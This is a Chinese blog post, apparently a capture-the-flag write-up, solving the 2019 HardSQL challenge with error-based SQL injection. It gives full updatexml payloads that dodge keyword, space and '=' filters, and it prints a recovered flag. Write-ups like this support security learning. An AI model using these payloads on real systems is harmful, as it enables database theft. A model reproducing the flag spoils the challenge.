当前位置: 首页 > news >正文

[极客大挑战 2019]HardSQL 1

看了大佬的wp,没用字典爆破,手动试出来的,屏蔽了常用的关键字,例如:order select union and 最搞的是,空格也有,这个空格后面让我看了好久,该在哪里加括号。

先传入1’ 1试试,发现提示报错:

其实这里提示了报错信息,就可以试一试报错注入了,当然这是事后诸葛亮,还是常规的注入试试,发现行不通。

这里就已经给屏蔽词才的差不多了,该进行报错注入了,使用:1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#

报出数据库名:geek

然后这里是没用空格的,但是爆表的时候,发现不对劲,要加上空格,但是空格被屏蔽了,于是就更换()来进行:1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#

拿到表名:H4rDsq1

接着就是拿到列名:

1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

注意这里等号也被屏蔽了,使用like进行替换。

拿到列名信息,接下来就是输出相关信息:

1'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))#

这里使用~来做一个填充,区别user列和pass列,然后得到信息:

拿到信息了,但是没拿完,拿了一半的flag,这是为什么?因为报错注入,最多显示32个字符,所以还要对后面的字符进行输出,但是这里又碰到substr关键字被屏蔽,也是。。。没办法,又看看大佬的wp,原来是用的right()突破字符限制,就是从字符串的最右边起,开始选字符。

例如:SELECT RIGHT('Hello, World', 5);

这将返回World。

所以接着的语句就是:

这里还有最后一点需要注意,就是在拼接的时候,不能想当然的把两个字符串拼接。要除去相同的部分:

'~flag~flag{93c21fdf-7e2b-4d48-ae'

'~b-4d48-ae6c-8abab092b920}~'

拼接后就是:flag{93c21fdf-7e2b-4d48-ae6c-8abab092b920}

这里的flag是动态的,别尝试用这个。

还可以用:^来更换or,然后不用updatexml(),而是使用:extractvalue()原理都是一样的。

大佬的wp:非常经典的一道SQL报错注入题目[极客大挑战 2019]HardSQL 1(两种解法!)-CSDN博客

http://www.lryc.cn/news/515802.html

相关文章:

  • vip与haproxy构建nginx高可用集群传递客户端真实ip
  • Easticsearch介绍|实战?
  • Python图形界面(GUI)Tkinter笔记(二十一):Messagebox信息提示功能控件
  • vue3+ts+element-plus 表单el-form取消回车默认提交
  • Web Services 简介
  • Vue3苦逼的学习之路
  • AcWing练习题:两点间的距离
  • 文献分享:RoarGraph——跨模态的最邻近查询
  • 故事可视化AI
  • 【机器学习篇】从新手探寻到算法初窥:数据智慧的开启之门
  • ffmpeg八大开发库
  • 【ArcGISPro/GeoScenePro】解决常见的空间参考和投影问题
  • Linux上安装配置单节点zookeeper
  • 现代光学基础-1
  • pytorch中nn.Conv2d详解及参数设置原则
  • T-SQL语言的正则表达式
  • UDP_TCP
  • Python 中常见的数据结构之二推导式
  • STM32 拓展 低功耗案例3:待机模式 (hal)
  • 【开源社区openEuler实践】探索 Yocto-Meta-OpenEuler:嵌入式开发的强大基石
  • C++ hashtable
  • JS (node) 的 ACM 模式 + debug方法 (01背包为例)
  • vue设计与实现-框架设计
  • Stable Diffusion和Midjourney有什么区别?
  • 即插即用,无痛增强模型生成美感!字节跳动提出VMix:细粒度美学控制,光影、色彩全搞定
  • 面向对象分析和设计OOA/D,UML,GRASP
  • 【每日学点鸿蒙知识】广告ID、NFC手机充值、CSS支持语法、PC与模拟器交互、SO热更新等
  • 30分钟学会HTML
  • 服务器信息整理:用途、操作系统安装日期、设备序列化、IP、MAC地址、BIOS时间、系统
  • Golang设计模式目录